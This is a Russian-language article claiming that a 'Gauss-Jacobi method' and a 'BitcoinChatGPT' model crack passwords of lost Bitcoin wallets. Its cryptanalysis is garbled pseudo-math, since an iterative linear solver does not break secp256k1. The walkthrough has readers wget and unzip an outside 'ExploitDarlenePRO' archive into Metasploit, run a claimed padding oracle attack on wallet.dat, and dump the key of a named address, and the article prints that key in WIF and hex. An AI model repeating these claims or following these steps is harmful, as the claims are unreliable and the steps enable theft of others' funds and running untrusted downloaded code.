Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

https://dzen.ru/video/watch/66119078be267c07401d9e4c

В этой статье мы рассмотрим на примере метод Gauss-Jacobi которые применяют современные технологии, такие как предварительно обученная модель Bitcoin ChatGPT, что позволяют более эффективно решать сложные задачи в области цифровых технологий. Важно заметить что альтернативные алгоритмы, такие как Gauss-Jacobi играют ключевую роль и открывают новые горизонты для развития вычислительной математики.

Метод Gauss-Jacobi является итеративным численным методом для решения систем линейных уравнений. Он широко используется в различных областях, таких как криптография, криптоанализ, инженерия и вычислительная математика. Сеть Биткоин использует криптографические алгоритмы, такие как хэш-функции SHA-256, алгоритм подписи ECDSA, эллиптические кривые secp256k1, для создания публичных и приватных ключей, которые представляют собой точки на эллиптической кривой. Приватный ключ – это секретная числовая величина, которая используется для генерации публичного ключа, а публичный ключ – это точка на кривой, полученная путем вычисления с приватным ключом. Таким образом, эллиптические кривые secp256k1 лежат в основе криптографических механизмов, которые обеспечивают безопасности транзакций и защиты от различных атак. Современные технологии которые развивают предварительно обученную модель Bitcoin ChatGPT находят эффективные способы решение сложных криптографических задач, лежащих в основе алгоритмов, используемых в Биткоине.

Какими преимуществами владеет Gauss-Jacobi алгоритм:

Высокая скорость и эффективность, что делает его идеальным для поиска атакующих ключей.
Интерактивность использует только один шаг перебора, что позволяет ему сократить количество вычислений.
Доступность и простота в реализации что имеет простые коды и легко может быть реализован в различных программах.
Доступен для широкого круга пользователей, которые могут использовать его для поиска атак на криптостойкость для различных криптовалют.
Гибкость может быть применен к разнообразным типам криптографических систем.

Как Gauss-Jacobi алгоритм работает:

Gauss-Jacobi алгоритм основан на рекурсивной функции f(x), которая для любого элемента x in S (сет данных блокчейнов) возвращает строковый код, представляющий x. Если x – атакующий ключ, то f(x) = 0.

Gauss-Jacobi алгоритм основан на рекурсивной функции f(x), которая для любого элемента x in S (сет данных блокчейна) возвращает строковый код, представляющий x. Если x – атакующий ключ, то f(x) = 0.

Алгоритм работает по следующим этапам:

Вычисляет G-матрицу, которая представляет собой матрицу всех смешанных пар элементов S, где i-й элемент соответствует i-му элементам S, а j-й элемент – j-му элементу S.
Вычисляет Х-матрицу, которая представляет собой матрицу смешанных пар хеш-функций.
Определяет рекурсивно значение f(x) для каждого элемента S.
Если f(x) = 0, это означает, что x – атакующий ключ, и алгоритм завершает.
И else, алгоритм continues рекурсивно вычислять f(x) для различных элементов S и добавлять эти элементы к Х-матрице.
Если H – матрица единиц, то алгоритм завершает, и мы нашли атакующий ключ.

Алгоритм метода Gauss-Jacobi может быть использован для решения систем уравнений с большим числом неизвестных. Это означает, что этот метод может быть использован для решения систем уравнений, полученных из эллиптических кривых secp256k1, используемых в криптографии, которые могут иметь большое число неизвестных, а также методы вроде Gauss-Jacobi потенциально могут ускорить решение некоторых задач дискретного логарифмирования и факторизации, на которых основана криптография с публичным ключом.

Потенциальное применение метода Gauss-Jacobi в криптоанализе блокчейна Биткоина

Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT

Откроем версию Google Colab:

https://colab.research.google.com/drive/1MJ4G5azqqpSlamEdPcjOCBkKn6oQofwL#scrollTo=HBzK0Ff7utn0&line=1&uniqifier=1

Соединим все выданные значение в одну общую строку:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000

Откроем опцию от BlockCypher “Decode A Transaction”:

После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:

Вопрос – Ответ:

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey

BitcoinChatGPT №1 Gauss Jacobi Method Algorithm

Практическая частьЧтобы перейти к практической части создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction

Скачаем и установим исходный код откроем терминал и запустим команду:

git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.g...

Каталог:

cd Broadcast-Bitcoin-Transaction

Установим три важные библиотеки:

requirements.txt

Запустим команду:

pip install -r requirements.txt

Откроем в Notepad++ основной файл и несем небольшие изменение в коде Python Script: main.py

https://github.com/demining/CryptoDeepTools/tree/main/30Gaus...

Запустим команду:

python main.py

Уязвимая транзакция создана!

Откроем файл RawTX в каталоге:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000

Установим Metasploit Framework и воспользуемся MSFVenom

Установим Metasploit Framework из
GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

!git clone https://github.com/rapid7/metasploit-framework.git cd metasploit-framework/ ls

Опции:

!./msfvenom -help

Установим Bitcoin Core integration/staging tree в Google Colab:

Клонируем репозиторий Bitcoin Core запустив команду:

!git clone https://github.com/bitcoin/bitcoin.git ls

Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat

Перейдем в каталог crypto

cd bitcoin/src/crypto/ ls

Откроем файл: aes.cpp через утилиту cat

cat aes.cpp

Для проведения атаки переместим файл: wallet.dat в каталог: bitcoin/src/crypto/

Воспользуемся утилитой mv и переместим
wallet.dat

!mv '/content/Smart-Transformers/wallet.dat' '/content/Smart-Transformers/metasploit-framework/bitcoin/src/crypto/wallet.dat'

Проверим содержимое каталога: bitcoin/src/crypto/

ls

Перейдем обратно к Metasploit Framework

cd / cd content/Smart-Transformers/metasploit-framework/ ls

Откроем папки по каталогу: /modules/exploits/

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/446f1c57b526201d4958eb76dee6f...

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip

Перейдем по каталогу: /ExploitDarlenePRO/

ls cd ExploitDarlenePRO/ ls

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd / cd content/Smart-Transformers/metasploit-framework/ ls

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды:

!ip addr !hostname -I

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

https://btc1.trezor.io/address/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

Команда запуска:

Результат:

1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000

Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом.

Откроем файл: walletpassphrase.txt

ls cat walletpassphrase.txt

Результат:

walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60

Пароль для доступа к приватному ключу

Воспользуемся командой dumpprivkey "address" через консоль
Bitcoin Core

walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60

dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

Результат:

5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz

Приватный Ключ Получен!

Установим библиотеку Bitcoin

!pip3 install bitcoin

Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________ Private Key WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k total_received = 500.09702252 Bitcoin __________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz HEX: B09C765FA3DC6AD138A8D0DA17CD94306FBC32ACB3D67BC093936861CCC48769